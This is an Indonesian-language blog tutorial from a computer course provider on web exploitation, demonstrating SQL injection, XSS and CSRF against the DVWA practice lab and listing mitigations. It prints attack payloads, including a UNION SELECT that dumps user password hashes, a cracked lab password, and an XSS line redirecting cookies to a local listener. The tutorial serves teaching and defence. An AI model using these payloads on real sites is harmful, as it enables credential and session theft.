Main Logo
  • Home
  • About
  • Kursus
    • Paket Kursus
    • Roadmap Profesi
  • Elearning
  • Blog
Daftar
Main Logo
  • Home
  • About
  • Kursus
    • Paket Kursus
    • Roadmap Profesi
  • Elearning
  • Blog

Web Exploitation : Konsep, Jenis Serangan, dan Mitigasi.

  • August 20, 2025
  • oleh Edusoft Center
Daftar Topik
  • Apa itu Web Exploitation?
  • Apa saja dampak serangan web ?
  • Contoh Kasus Serangan Web
  • Serangan pada Aplikasi Web paling umum
    • 1. SQL Injection (SQLi)
    • 2. Cross-Site Scripting (XSS)
    • 3. Cross-Site Request Forgery (CSRF)
  • SQL Injection
    • Penjelasan Konsep Serangan
    • Simulasi Serangan SQLi
    • Mitigasi dan cara mencegah SQLi
  • XSS (Cross Site Scripting)
    • Simulasi Serangan XSS
    • Mitigasi dan pencegahan XSS
  • CSRF (Cross Site Request Forgery)
    • Simulasi Serangan CSRF
    • Mitigasi dan pencegahan CSRFI

Apa itu Web Exploitation?

Web exploitation berarti memanfaatkan celah atau kelemahan dalam aplikasi web untuk menyusup, mencuri data, atau mengambil alih kontrol sistem.

Ini melibatkan penggunaan kode untuk mengeksploitasi kelemahan dalam kode aplikasi, konfigurasi server, atau protokol yang digunakan dalam komunikasi web. 

Apa saja dampak serangan web ?

1. Kebocoran Data Sensitif
Serangan web exploitation dapat menyebabkan data sensitif seperti password, nomor kartu kredit, atau informasi pribadi bocor ke tangan pihak yang tidak bertanggung jawab. Akibatnya, korban bisa mengalami pencurian identitas, penipuan finansial, hingga pemerasan digital.

2. Kerugian Finansial
Bagi perusahaan, kebocoran data dan gangguan sistem berarti kerugian langsung berupa biaya pemulihan, kompensasi pelanggan, hingga potensi tuntutan hukum. Biaya rata-rata satu insiden kebocoran data kini mencapai jutaan dolar, dan seringkali lebih besar daripada biaya pencegahan.

3. Reputasi yang Rusak
Sekali perusahaan terserang, kepercayaan pelanggan bisa runtuh. Reputasi yang dibangun bertahun-tahun bisa hancur dalam hitungan hari. Banyak pelanggan enggan menggunakan layanan yang sudah tercoreng oleh isu keamanan.

4. Gangguan Operasional
Serangan juga dapat melumpuhkan layanan digital, membuat website atau aplikasi tidak bisa diakses. Ini bukan hanya menghambat transaksi, tapi juga bisa menghentikan aktivitas bisnis secara keseluruhan.

5. Dampak Hukum dan Regulasi
Dengan regulasi perlindungan data yang semakin ketat (seperti GDPR atau UU PDP di Indonesia), perusahaan yang gagal melindungi data bisa dikenai denda besar. Serangan web exploitation tidak hanya menimbulkan masalah teknis, tapi juga konsekuensi hukum yang serius.


Contoh Kasus Serangan Web

  • Pada Maret 2023, peretas bernama Bjorka mengklaim membocorkan data pribadi sekitar 19,56 juta peserta BPJS Ketenagakerjaan, termasuk NIK, nama, dan alamat, lalu menjualnya di dark web seharga USD 10.000.
  • Di bulan yang sama, sistem Bank Syariah Indonesia (BSI) diserang oleh kelompok ransomware Lockbit, yang mencuri sekitar 1,5 TB data berisi informasi pribadi pengguna dan dokumen karyawan—dengan tebusan yang diminta mencapai USD 20 juta.
  • pada Juni 2024, Pusat Data Nasional (PDN) menjadi korban serangan ransomware oleh grup Lockbit 3.0, yang mengakibatkan sistem sebanyak lebih dari 40 lembaga pemerintahan terganggu, termasuk pelayanan imigrasi bandara—dengan tebusan sekitar USD 8 juta dan sebagian besar data tidak memiliki backup .

Serangan pada Aplikasi Web paling umum

1. SQL Injection (SQLi)

  • Cara kerja: Penyerang menyisipkan perintah SQL berbahaya ke dalam form input (misalnya login).
  • Dampak: Bisa membaca, mengubah, atau bahkan menghapus seluruh database.
  • Contoh nyata: Kredensial user bocor karena query database tidak difilter.

2. Cross-Site Scripting (XSS)

  • Cara kerja: Menyuntikkan skrip berbahaya (biasanya JavaScript) ke halaman web.
  • Dampak: Data session dicuri, redirect ke halaman palsu, atau menginfeksi pengunjung.
  • Jenis: Stored XSS, Reflected XSS, DOM-based XSS.

3. Cross-Site Request Forgery (CSRF)

  • Cara kerja: Penyerang memanfaatkan session login user untuk melakukan aksi tanpa sepengetahuan korban.
  • Dampak: Transfer dana tanpa izin, perubahan password, atau manipulasi data akun.

SQL Injection

SQL Injection merupakan salah satu serangan web paling populer, di mana penyerang menyisipkan perintah SQL berbahaya ke dalam input aplikasi web dengan tujuan memanipulasi database. Serangan ini memungkinkan peretas untuk melihat, mengubah, atau bahkan menghapus data yang seharusnya tidak bisa diakses.

Sebagian besar aplikasi web modern berhubungan dengan database. Jika input dari pengguna (misalnya pada form login, search bar, atau URL parameter) tidak divalidasi dengan benar, maka kode SQL tambahan yang dimasukkan penyerang bisa ikut dieksekusi oleh server. Dengan kata lain, aplikasi “tertipu” menjalankan perintah yang seharusnya tidak boleh dijalankan.

Peringatan : Jangan pernah sekali kali menyalahgunakan teknik
serangan ini di website publik !
Penyalahgunaan bisa menyebabkan pidana !

Pertama, Buka Lingkungan uji coba yang aman. Penulis disini menggunakan DVWA sebagai media uji cobanya.

Penjelasan Konsep Serangan

SQL Injection (SQLi) adalah jenis serangan di mana peretas menyisipkan perintah SQL berbahaya ke dalam input sebuah aplikasi web (misalnya form login atau kolom pencarian).

➡️ Tujuan: memanipulasi database agar mengungkap, mengubah, atau menghapus data yang seharusnya tidak bisa diakses.
➡️ Contoh sederhana:
Jika kolom login tidak divalidasi dengan baik, peretas bisa memasukkan query:

Apa itu query?

Query bisa diartikan sebagai pertanyaan atau instruksi yang diberikan kepada sistem database untuk mendapatkan informasi tertentu.

' OR '1'='1

👉 Dampaknya bisa sangat serius: kebocoran data pengguna, modifikasi informasi penting, hingga kontrol penuh atas database.

Analoginya seperti ini :

Bayangkan ada sebuah kantor, kantor tersebut dijaga oleh sekuriti. Ketika kita diminta nama dan ID oleh sekuriti, kita menjawab “Nama saya kosong dan ID saya adalah ID karyawan”, karena sekuriti tidak diberi tahu tentang aturan menjaga data karyawan sehingga dia menunjukkan setiap data yang ada.

Simulasi Serangan SQLi

Masukkan query pada kolom input
hasil dari query yang diinputkan

Ketika penyerang sudah mendapatkan username, kemungkinan besar mereka akan mencari password dari para pengguna.

' UNION SELECT user, password FROM users#
  1. ' → menutup input sebelumnya (misalnya dari form login atau search).
  2. UNION SELECT user, password FROM users
    • UNION = menggabungkan hasil query pertama dengan query tambahan.
    • user, password FROM users = mengambil kolom username dan password dari tabel users.
    • Jadi, walaupun query awalnya hanya menampilkan 1 data, sekarang “dipaksa” juga menampilkan isi tabel lain.
  3. # → menandakan comment di SQL (MySQL khususnya).
    • Semua kode setelah # diabaikan.
    • Gunanya untuk “mematikan” sisa query asli supaya tidak bikin error.

Simulasi ketika query berikut dimasukan kedalam kolom input :

ketika query dimasukkan kedalam kolom input
output dari query yang dimasukkan

bisa dilihat, output query tersebut memberikan hasil lebih banyak dari sebelumya, “kode aneh” tersebut disebut sebagai hash.

cara untuk mengubah data apapun (seperti kata sandi, file, atau pesan) menjadi serangkaian karakter tetap dengan panjang tertentu.

ketika peretas melakukan cracking hash tersebut, mereka bisa mendapatkan informasi lain. Seperti password misal.

kita coba crack salah satu hash tersebut dengan menggunakan CrackStation. Kita disini akan menggunakan hash dari user bernama ‘gordonb’.

hasil dari crack tersebut adalah abc123, sekarang kita coba masukan username gordonb beserta passwordnya.

password memang disamarkan
bisa kita lihat di pojok bawah, kita login sebagai gordonb

Mitigasi dan cara mencegah SQLi

Gunakan Prepared Statements / Parameterized Queries: Pisahkan data input dari logika SQL sehingga query tidak bisa dimanipulasi.

Validasi & Sanitasi Input: Pastikan hanya data dengan format tertentu yang diterima (misalnya angka untuk ID, bukan teks bebas).

Batasi Hak Akses Database: Jangan gunakan akun database dengan hak admin untuk aplikasi.

Monitoring & Logging: Catat aktivitas mencurigakan dan gunakan WAF (Web Application Firewall) untuk mendeteksi pola serangan.

Update Framework & Library: Banyak framework modern (misalnya Django, Laravel, Spring) sudah memiliki proteksi bawaan, asalkan tetap diperbarui.

XSS (Cross Site Scripting)

XSS (Cross-Site Scripting) adalah serangan di mana peretas menyuntikkan kode berbahaya (biasanya JavaScript) ke dalam website.

Tujuan: agar kode itu dijalankan di browser pengunjung lain.
Dampak: pencurian cookie/session login, redirect ke website palsu, sampai menampilkan pesan berbahaya di halaman.
Contoh sederhana:
Kalau kolom komentar tidak difilter, peretas bisa menulis:

<script>alert('Hacked!');</script>

Maka semua orang yang membuka komentar itu akan melihat pop-up — atau lebih parah, datanya bisa dicuri.

Simulasi Serangan XSS

Saya disini memasukan script :

<script>alert("You Have been hacked")</script>

lalu muncul peringatan yang bertuliskan You Have been hacked.

ketika saya memasukan script :

<script>alert(document.cookie)</script>

maka sistem akan menampilkan cookie yang bisa dimanfaatkan peretas untuk mendapatkan informasi yang sensitif.

Apa itu cookie?

Cookie berisi informasi tentang aktivitas penjelajahan pengguna, seperti preferensi, riwayat login, dan item yang disimpan dalam keranjang belanja.

ini adalah cookie yang dimaksud

Ketika saya memasukkan script :

<script>window.location='http://127.0.0.1:1337/?cookie=' + document.cookie</script>

skrip tersebut memberikan perintah kepada server untuk menampilkan cookie kedalam sebuah local server dengan port 1337, sehingga apasaja yang dilakukan user bisa terlihat.

Disinin yang terdeteksi adalah cookie penulis itu sendiri

Mitigasi dan pencegahan XSS

1. Input Validation dan Sanitazion

  • Selalu validasi semua input dari user (form, komentar, URL parameter, upload, dll).
  • Hanya izinkan karakter yang memang dibutuhkan (whitelist approach).
  • Gunakan library sanitasi input yang terpercaya.

2. Output Encoding / Escaping

  • Encode karakter khusus sebelum ditampilkan di browser:
    • < jadi &lt;
    • > jadi &gt;
    • " jadi &quot;
  • Dengan begitu, kode berbahaya dianggap teks biasa, bukan dijalankan oleh browser.

3. Gunakan HTTPOnly Cookie

  • Set flag HttpOnly pada cookie session.
  • Tujuannya: JavaScript tidak bisa membaca cookie → mencegah pencurian session lewat XSS.

4. Content Security Policy (CSP)

  • Terapkan CSP header di server, contoh:
Content-Security-Policy: default-src 'self';
  • CSP membatasi sumber JavaScript yang boleh dijalankan → meminimalisir XSS berjalan.

5. Gunakan Framework modern

  • Framework modern (React, Angular, Vue) sudah punya mekanisme auto-escaping di output, sehingga risiko XSS lebih kecil.

CSRF (Cross Site Request Forgery)

CSRF (Cross-Site Request Forgery) adalah serangan di mana peretas menipu korban agar tanpa sadar menjalankan aksi di website yang sudah dia login.

Simulasi Serangan CSRF

disini saya punya halaman yang dapat mengubah sandi dari pengguna. Jika sandi diubah maka akun pengguna harus login dengan password yang baru. ini menjadi celah dari website tersebut, karena sistem tidak mengotentikasi input yang masuk.

Saya disini memiliki skrip yang dapat mengganti password tanpa sepengetahuan pengguna hanya dengan mengklik link yang diberikan.

tampilan ketika skrip dijalankan

Mitigasi dan pencegahan CSRFI

1. Token anti CSRF

Token anti-CSRF adalah kode unik yang dihasilkan untuk setiap sesi pengguna dan harus disertakan dalam setiap permintaan yang mengubah data atau status aplikasi. 

Token ini divalidasi oleh server untuk memastikan bahwa permintaan tersebut berasal dari pengguna yang sah dan bukan dari pihak ketiga yang mencoba melakukan serangan CSRF.  Token harus disimpan dengan aman, misalnya, dalam kolom tersembunyi pada formulir, dan tidak boleh mudah ditebak atau diprediksi. 

2. SameSiteCookie

Atribut SameSite pada cookie membatasi akses cookie hanya untuk permintaan dari domain yang sama. 

Tiga nilai yang mungkin untuk SameSite adalah Strict, Lax, dan None. 

Strict: Cookie hanya dikirim pada permintaan yang berasal dari domain yang sama, sehingga sangat efektif mencegah CSRF, tetapi juga dapat membatasi beberapa fungsi situs web yang sah. 

Lax: Cookie dikirim pada permintaan yang sama dan beberapa permintaan lintas situs “aman” (seperti GET), memberikan keseimbangan antara keamanan dan kegunaan. 

None: Cookie dikirim pada semua permintaan, menonaktifkan perlindungan SameSite. 

3. Validasi Header Referer

Header HTTP Referer menunjukkan URL halaman sebelumnya yang dikunjungi pengguna. Server dapat memvalidasi header Referer untuk memastikan bahwa permintaan berasal dari situs web yang sah.  Namun, header Referer dapat dimanipulasi, jadi ini bukanlah metode perlindungan yang paling kuat. 

Previous Post
Next Post

Post comment

Cancel reply

Your email address will not be published. Required fields are marked *

Recent Posts

  • Membuat Animasi Sederhana di Flutter: Panduan Lengkap untuk Pemula
  • Tutorial Lengkap Flutter dengan API: Panduan Praktis untuk Pemula
  • Serangan Brute Force pada DVWA 1.8: Penjelasan, Simulasi, dan Mitigasi
  • Membuat Tampilan Responsive di Flutter: Panduan Lengkap
  • Menghubungkan Flutter dengan API

Arsip

  • September 2025
  • August 2025
  • July 2025
  • March 2019
  • February 2019
  • January 2019
  • December 2018
  • November 2018
  • October 2018
  • September 2018
  • August 2018
  • July 2018
  • June 2018
  • May 2018
  • April 2018
  • March 2018
  • February 2018
  • January 2018
  • December 2017
  • November 2017
  • October 2017
  • September 2017
  • August 2017
  • July 2017
  • June 2017
  • May 2017
  • April 2017
  • March 2017
  • February 2017
  • January 2017
  • December 2016
  • November 2016
  • October 2016
  • September 2016
  • August 2016
  • July 2016
  • June 2016
  • May 2016
  • April 2016
  • March 2016
  • February 2016
  • January 2016
  • December 2015
  • November 2015
  • October 2015
  • September 2015
  • August 2015
  • July 2015
  • June 2015
  • May 2015
  • April 2015
  • March 2015
  • February 2015
  • January 2015
  • December 2014
  • November 2014
  • October 2014
  • September 2014
  • August 2014
  • July 2014
  • June 2014
  • May 2014
  • April 2014
  • March 2014
  • February 2014
  • January 2014
  • December 2013
  • November 2013
  • October 2013
  • September 2013
  • August 2013
  • July 2013
  • June 2013
  • May 2013
  • April 2013
  • March 2013
  • February 2013
  • January 2013
  • December 2012
  • November 2012
  • October 2012
  • September 2012
  • August 2012
  • July 2012
  • June 2012
  • May 2012
  • April 2012
  • December 2011
  • November 2011

Tags

apache web server dns server kursus android kursus database kursus dns dan web server kursus dns server kursus ethical hacking kursus hacking kursus jaringan kursus jaringan linux Kursus Komputer kursus komputer di solo kursus komputer di solo / surakarta kursus komputer di surakarta kursus linux Kursus Linux Forensics kursus linux networking kursus linux security kursus linux server kursus mikrotik kursus mysql kursus networking kursus network security kursus php Kursus PHP dan MySQL kursus php mysql kursus proxy kursus security kursus ubuntu kursus ubuntu server kursus web kursus web security kursus web server kursus wordpress kursus wordpress theme linux MySQL pelatihan komputer di solo PHP security training komputer training komputer di solo tutorial php ubuntu wordpress

© Edusoft Center - Kursus Komputer di Solo | 2010 - 2025 | Privacy Policy | Site Map

All Right Reserved

WhatsApp us